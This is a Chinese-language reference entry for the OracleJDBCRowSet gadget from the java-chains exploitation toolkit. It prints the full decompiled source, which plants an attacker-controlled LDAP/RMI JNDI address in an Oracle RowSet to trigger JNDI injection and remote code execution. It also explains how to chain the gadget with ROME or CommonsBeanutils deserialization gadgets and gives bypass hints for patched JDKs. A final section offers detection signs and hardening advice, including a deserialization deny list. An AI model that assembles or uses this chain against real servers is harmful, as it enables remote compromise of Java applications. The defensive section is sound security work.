- 类别:
javanative别名:(无) 优先级:(未设定) - 作者:—
- 依赖:
oracle(需目标环境存在 Oracle JDBC 驱动,含oracle.jdbc.rowset.OracleJDBCRowSet,通常来自ojdbc*.jar) - 实现:
com.ar3h.chains.common.Gadget;标注@Deprecated
一句话:构造一个 oracle.jdbc.rowset.OracleJDBCRowSet 实例,将其 dataSourceName 字段设为攻击者可控的 JNDI 地址;当该 RowSet 后续被某个 setter 路径驱动去建立连接时,会以 dataSourceName 为名做 JNDI 查询,从而触发 JNDI 注入(RMI/LDAP 远程加载),最终 RCE 或探测。
本 gadget 是 java-chains「DataSource JNDI」家族中的 Oracle RowSet 变体之一,与同目录的 OracleCachedRowSet / OracleJoinRowSet / OracleFilteredRowSet / OracleWebRowSet 同构,区别在于触发方式(本类为 Setter,其余多为 Getter)。它是链尾(END)构件,本身不再向内包裹其它对象。
- 入口
tags:DataSourceChains、Setter、ENDDataSourceChains:表明本 gadget 属于「DataSource JNDI」这一类可被 DataSource 驱动器承接的落点。上游凡nextTags含DataSourceChains的 gadget(如 ROME 系列Rome1/Rome2/Rome3/Rome4等)即可与其相连。Setter:表明本 gadget 需要上游以调用 setter的方式来触发(对比同族的OracleCachedRowSet使用Getter)。END:链尾标记。本 gadget 自身产出最终对象、不再有更内层节点(invoke中不调用chain.doCreate)。
- 衔接
nextTags:(空)—— 作为END落点,没有下一环。 excludes:(空)。
机制提示:
tags表示「本 gadget 能承接的上一环所提供的标签」,nextTags表示「本 gadget 之后可接哪类 gadget」。本类nextTags为空即印证其链尾定位。
完整反编译源码(CFR):
@GadgetTags(tags={"DataSourceChains", "Setter", "END"})
@GadgetAnnotation(name="Oracle DataSource JNDI",
description="oracle.jdbc.rowset.OracleJDBCRowSet\n需要setter触发",
dependencies={"oracle"})
@Deprecated
public class OracleJDBCRowSet implements Gadget {
@Param(name="jndi地址")
public String jndiUrl = "ldap://127.0.0.1:1389/x";
public Object getObject() throws Exception {
Object datasource = Reflections.newInstance("oracle.jdbc.rowset.OracleJDBCRowSet", new Object[0]);
Reflections.setFieldValue(datasource, "dataSourceName", this.jndiUrl);
return datasource;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);
return this.getObject();
}
}逐段解释:
-
getObject()— 构造落点对象Reflections.newInstance("oracle.jdbc.rowset.OracleJDBCRowSet", ...):以反射方式实例化 Oracle 的 RowSet 实现类(用反射而非直接new,避免 java-chains 自身编译期强依赖 Oracle 驱动;类只需在目标运行时存在)。OracleJDBCRowSet是javax.sql.RowSet/DataSource体系下的实现。Reflections.setFieldValue(datasource, "dataSourceName", this.jndiUrl):直接反射写入实例的dataSourceName字段(绕过任何 setter 校验)。这个字段正是 Oracle RowSet 在建立连接时用于 JNDI 名称查找的键。一旦连接流程被触发,内部会以dataSourceName作为名字向 JNDI 上下文lookup,攻击者把它设成ldap://.../x或rmi://.../x即可远程加载恶意对象。
-
invoke()— 组链入口context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class):向GadgetContext写入「本落点对象应以javax.sql.DataSource接口类型对待」的提示。上游驱动型 gadget(例如 ROME 的ToStringBean/EqualsBean封装,读取SUPER_CLASS_NAME_KEY以决定代理/反射时使用的接口,见RomeToStringBean1、Rome1等对该键的context.get消费)据此把该对象当作DataSource来触发其连接方法。return this.getObject();:注意本方法不调用chain.doCreate(context),直接返回自身构造的对象。这与链尾END定位一致——它是被包裹的最内层落点,由上游负责把它安放到能触发 setter/连接的位置。
-
与同族 Getter 变体的关键差异(触发方式) 对比同目录
OracleCachedRowSet.invoke(),后者额外写入:context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection"); context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");
即明确告诉上游「调用
getConnection()这个 getter(属性名connection)来触发 JNDI」。而OracleJDBCRowSet不设置这两个键,其tags用Setter而非Getter——因此它依赖上游以 setter 语义驱动 RowSet 进入连接流程,故@GadgetAnnotation.description写明「需要 setter 触发」。这也是同族中它相对少用、并被标@Deprecated的原因:Getter 变体(OracleCachedRowSet等)在常见 CB/ROME 上游下更易稳定触发。
说明:
oracle.jdbc.rowset.OracleJDBCRowSet属于 Oracle 专有驱动,不在本知识库 反编译范围内。上文对「dataSourceName→ JNDI lookup」的机理描述基于该家族公开的 JNDI 注入原理与 java-chains 的用法约定;确切的内部触发方法名以目标ojdbc版本实现为准。
| 字段 | 名称 | 说明 | 类型 | 默认值 | 可选值 |
|---|---|---|---|---|---|
jndiUrl |
jndi地址 | 恶意 JNDI 服务地址;写入 RowSet 的 dataSourceName,连接时被 lookup。格式 [rmi|ldap]://host:port/obj |
String |
ldap://127.0.0.1:1389/x |
(无枚举) |
- 依赖:目标 classpath 需含 Oracle JDBC 驱动且包含
oracle.jdbc.rowset.OracleJDBCRowSet(历代ojdbc6/7/8/10/11系列 rowset 包)。java-chains 侧仅以字符串反射引用,不打包 Oracle 依赖。 - 本质:这是一条 DataSource/RowSet 型 JNDI 注入落点,等价于
JdbcRowSetImpl的 Oracle 变体——把可控 JNDI 名塞进 RowSet,再借助反序列化/表达式/ROME 等上游在服务端触发连接,从而InitialContext.lookup(恶意地址)。 - JNDI 注入可利用性受 JDK 版本约束:高版本 JDK(
com.sun.jndi.rmi.object.trustURLCodebase/ldap.object.trustURLCodebase默认false,JDK 8u191+/11.0.1+ 起)默认禁止从远程 codebase 加载 factory 类,需改用本地可用 factory(如 tomcatBeanFactory+ EL、或 LDAP 返回可反序列化对象)等绕过手法,而非直接远程类加载。 - 触发方式坑点:因用
Setter触发,需要上游确实会对该DataSource调用能进入连接逻辑的 setter;在部分上游(如 fastjson 只调用部分 setter/getter)下可能触发不到连接流程——与之对应,同族的 Getter 变体OracleCachedRowSet的 description 就提示「fj 可能触发不到 getConnection 就退出了,用 cb 最好」。选择 Setter 还是 Getter 变体应视上游驱动器而定。 @Deprecated:作者已标记弃用,实战优先考虑OracleCachedRowSet/OracleJoinRowSet等 Getter 变体或通用的JdbcRowSetImpl。
usedInChains 为空——自由构件,未直接出现在 51 条预设链中。可按标签自行组合:任何 nextTags 含 DataSourceChains 的上游(如 ROME 系列)+ 本落点,构成「原生/Hessian 反序列化 → DataSource 驱动 → Oracle RowSet JNDI」链。
- 同族(Oracle RowSet JNDI 落点):
- OracleCachedRowSet(Getter 触发,设置
getConnection/connection上下文键,最常用) - OracleJoinRowSet、OracleFilteredRowSet、OracleWebRowSet(同为 Getter 变体)
- OracleCachedRowSet(Getter 触发,设置
- 通用 JNDI 落点参照:
JdbcRowSetImpl(JDK 内置com.sun.rowset.JdbcRowSetImpl,机理相同,不依赖 Oracle 驱动)。 - 典型上游(
nextTags=DataSourceChains):ROME 系列Rome1/Rome2/Rome3/Rome4、RomeToStringBean1/2、RomeEqualsBean1/2等;以及 CommonsBeanutils 系(经 Getter 驱动 DataSource)—— 参见 CommonsBeanutils1。 - 上下文键消费方:读取
SUPER_CLASS_NAME_KEY的RomeToStringBean1、Rome1等,据此以DataSource接口类型驱动本落点。
- 检测特征:
- 反序列化流量/堆中出现
oracle.jdbc.rowset.OracleJDBCRowSet(或同族Oracle*RowSet)实例,且其dataSourceName字段为ldap:///rmi://等外部 URL——高度可疑。 - 应用进程向外发起非预期的 LDAP(389/1389)/RMI(1099) 出站连接,尤其伴随 JDBC/RowSet 调用栈(
javax.sql.RowSet→InitialContext.lookup)。 - 反序列化白名单命中
oracle.jdbc.rowset.*或com.sun.rowset.JdbcRowSetImpl。
- 反序列化流量/堆中出现
- 加固建议:
- 反序列化入口启用类白名单(
ObjectInputFilter/JEP 290),禁止oracle.jdbc.rowset.*、com.sun.rowset.JdbcRowSetImpl、ROMEcom.rometools.*等已知跳板。 - 保持 JDK 补丁版本(8u191+/11.0.1+),确认
com.sun.jndi.*.object.trustURLCodebase=false(默认),并限制/审计出站到 LDAP/RMI 的网络访问(egress 白名单)。 - 移除或隔离不必要的 Oracle RowSet / JNDI 能力;对 JNDI
lookup的名称来源做校验,禁止使用外部可控的dataSourceName。 - 使用 SCA 排查是否存在受影响的
ojdbc*与 ROME 依赖,按需升级或收敛可达性。
- 反序列化入口启用类白名单(